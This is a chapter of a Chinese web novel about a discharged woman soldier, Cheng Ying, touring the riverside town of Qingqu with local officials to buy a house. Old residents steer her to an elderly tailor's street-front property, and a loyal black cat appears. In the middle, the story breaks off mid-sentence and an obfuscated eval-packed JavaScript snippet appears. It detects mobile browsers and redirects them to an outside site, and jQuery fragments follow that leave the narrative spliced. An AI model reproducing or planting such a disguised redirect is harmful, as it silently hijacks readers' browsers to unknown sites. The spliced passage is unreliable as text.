青曲镇,原名青石镇,因为建国以后,把城镇重新划分,县里占了青石两个字,因此改名叫青曲镇。
青曲镇临江而建,是一个很小的水乡古镇,不大的镇上,房屋绝大部分都用灰白色长方块的山石建造,窗户和门都是用木头做得,特别是临街道的房屋店铺,每个店铺的门全是用一块块不足十厘米宽,大约一米七左右的长块木板,一块块拼接成店铺门,外表看起来特别的古朴陈旧。
程英跟着支局长的爱人,还有公社一名妇女主任,行走在青曲镇纵横阡陌的小道中。
她们脚下的道路全是用大块的青石块铺就,石块与石块之间的细缝,长着一些低矮的小草和青苔,人行走在这样的青石道路上,在这炎热的夏季,有种特别的幽凉舒爽感。
巷子道路大约两米宽,路边两侧基本都是建国前的老房子,有不少房屋残破,每走一段距离就能看见一些残垣断壁,这是建国前,青曲镇遭遇了日军飞机轰炸,把很多老式的类似于徽式建筑的古宅大院给炸成了废墟,现如今镇上住人的房子,大多是后来政府重新分配翻修居住的。
镇上的常住居民基本是老人小孩,年轻人要么去县里的工厂上班打工,要么去很远的矿场、窑厂上班,要么天一亮就要跟各个生产队的社员们一样,要下地干农活,干到傍晚快天黑了才回来,一直住在镇上的年轻人不多。
小镇十分安静,除了远处码头传来的横渡船鸣声,近处就只有那些老人家三五个人凑在一起,摇着蒲扇,吃瓜闲聊的低语声,孩童们在青石巷子里追逐跑闹的嬉笑声。
程英跟着李主任两人连看几处屋子都不满意,三人围着镇子转了一大圈,实在累得慌,不约而同地停在一处房门前放了两个石墩的屋子前,除了程英,李主任、方大婶都坐在那个石墩上,暂时歇息。
对面有四个年纪在70-90岁左右的老爷爷、老太太看他们坐下来,其中一个脸上皱起许多褶子,头花全白,看起来十分慈祥的老太太,眯着浑浊的眼睛,看了程英好一会儿,张开没有牙齿的牙床,瘪着嘴开口问:“你是程建同的大闺女儿?”
程英走过去,“是的奶奶,您认识我?”
“认得,谁不认得你啊。”老太太笑了起来,“你爸是公社邮递员,给我送了二十多年的信了,他常常跟我提起你,总是很自豪的跟我说,他的大闺女可厉害了,在部队里是女军官呢,以后大有前途。”
程英楞了一下,倒没想到程建同会在别人面前提起她,心里五味陈杂,她爸也会为她感到自豪,会在别人面前提起她的存在么?
他心里,有她这个女儿啊。
旁边一个老爷爷接话说:“闺女,我也知道你,你是咱们青曲镇建国以后,唯二做上女军官的人,当时你入伍参军,你们公社敲锣打鼓送你和其他新兵入伍的时候,我还去看过你呐。”
公社每年都在管辖下的十五个大村里征兵,征兵的人数不多,每年就几个,女兵的名额更是稀少,可以说,一年都有可能招不上一个女兵。
程英出生在三代从军的家庭里,她爸又是邮递员,当年她穿着新兵军装,戴着大红花,坐上公社送往县武装部的小车上,吸引了整个青曲镇的人围观,实在是女兵入伍,在他们镇是罕见的场景。
程英不好意思地笑了起来,“那都是过去的事情了,我爸受了伤,没办法再做邮递员,我已经退伍回乡,回来顶替他的工作,以后他的信件包裹,由我来送了。”
四个老头老太太没有意外的点点头,青曲镇本来就不大,谁家发生点事儿,第二天就能传遍整个镇。
程建同一个邮递员被侄子推下山,他女儿带着一群县干部回来讨公道,把程建同侄子抓走的事情,当天下午就传遍了青曲镇,这些老人家本来就没事做,时常聚在一起闲聊,他们想不知道都难。
老太太摇着蒲扇问程英,“闺女,你来这里弄啥咧?给我送信啊?这也没到送信的时间啊。”
程英说:“奶奶,我想在镇上买套房子住,这不跟着李主任她们一起找合适的房子。”
老太太噢了一声,看向坐在对面的李主任两人,显然她也是认识她们的,她看一眼,又收回目光看着程英问:“你想买啥样的屋子啊。”
程英想着这老太太是镇上的人,又居住在房子较多的居民区里,说不定她能帮自己找到合适的房子,于是开口说:“奶奶,我想买一套临街的房子,房子要宽敞,房间最少要有四间以上,最好带个大院儿,价钱什么的,好商量。”
老太太点点头,转头看向坐在她身边的一个老头,“老余头,你不是有套房子在东大街临街的位置要卖?你这卖了好些年都没卖出去,不如带这丫头去看看。”
老余头是个年近八十岁的老人家,建国以前是裁缝,建国以后国家各种制度改革,他就在镇上的国营裁缝铺里当老裁缝,赚一点工资,帮衬着家里。
可惜的是,他一对儿女还有一个孙子都是镇上的老师,在十年大动乱期间,因为老师的身份,儿女孙子儿媳饱受红小兵的欺辱折磨,他的儿子儿媳不堪受辱,一个吊死在家里,一个投江自尽,孙子目睹父母的惨状,跟小红兵拼命,结果被一群小红兵给打死,留下老余头和一个重孙女相依为命。
老余头年纪大了,身体也不好,随时都有可能驾鹤西去,他的重孙女才十三岁,他有两套房子,他跟重孙女就住在附近一处小点的两居室屋子里,他想把那套原本一家人住得大套房子卖了,给重孙女在银行里存一笔钱,这样就算他撒手人寰,有那笔钱在,他的重孙女靠那笔钱,也能把自己养大。
可因为他的儿媳妇吊死在那套房子里,想买房的人都忌讳这件事情,觉得晦气,很少有人愿意买,想买的人价钱给得很低,那套房子就空闲了七八年,也没有卖出去。
东大街的房子?
程英心念一动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044290|178933||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,东大街按照现在镇上的格局,离江边码头较远,地势有些偏僻,要在东大街做生意,基本没什么人光顾。
但在千禧年以后,东大街将被政府重新规划修建,会成为青曲镇政府中心,到时候会十分热闹繁华,东大街的地段也会水涨船高,无论是做生意,还是做旅游景点的民宿,生意都会很好。
要能买下来,也不失一个投资的好良机。
程英当即表示:“余爷爷,我可以去看看你家的房子吗?”
“可以,不过我那房子......”老余头是个实诚的人,一看程英想去看他家那套房子,他把自家房子的情况跟她说了遍,着重说明自己儿媳妇吊死在家里的事情,表明如果她看中了他家的房子,价钱其实可以好商量。
程英倒不在意那些吊死之人的鬼神之说,在那疯狂的十年里,很多善良的人被逼自尽,他们生前不会伤害人,死后更不会伤害人,只要房子合她心意,其他都不重要。
李主任一听,也说老余头那个房子符合程英想选的房子,李主任之前是怕她在意有人吊死在屋里的事情,没跟她讲,现在她主动要去看那套房子,三人便跟着老余头往东大街走。
老余头领着她们,没走主街道,而是沿着镇子那些幽凉的青石巷子小道,弯弯绕绕地来到东大街的附近。
在一处巷子的拐角处,一只通体皮毛都是黑色的玄猫,坐在拐角位置,像是在专门等老余头一样。
看到老余头过来,它小跑着跑到他身边,用毛茸茸地脑袋轻轻蹭了蹭老余头的脚踝,尾巴还打着卷儿去勾老余头的裤腿。
老余头艰难地弯腰,伸手摸了摸玄猫的脑袋,说了句:“小黑,走吧,回家。”
小黑喵了一声,转头往另一条巷子跑,跑两步还回来看着老余头,看他跟上没有,等他跟上了又往前跑。
“余爷爷,这猫是您养的?”程英跟在老余头身后问。
这年头的人们绝大部分都还处于温饱不济的状态,很少有人养猫狗,镇上的猫狗绝大部分都是野生野养,要么就是富裕点的家庭才会养。
眼前这只猫,皮毛光滑发亮,巷子透进来的一处阳光底下,能看见这只猫漆黑的皮毛散发出一点赤红色的光芒,体型有些圆润,显然是有人精心喂养的。
“这猫不是我养的,是我重孙女养的。”老余头眼神黯淡道:“我孙子很喜欢猫,他没死的时候在家里养了一只黑猫,他死后的第五年,他的黑猫带回了一只玄猫在我们院子里看家,之后不到三天,黑猫就死了。我重孙女在我家后院看见了小玄猫,想把它带回我们小家去养,它不愿意去,就呆在老宅后院里,我重孙女儿担心饿死它,每天都会去老宅那里喂养它,它也会在这巷子拐角处等我们,已经等了三年了。”
程英恍然大悟,看来这只玄猫,是在替领它回家的黑猫,守着老余头的家。
这可真是一个重情重义的好猫啊。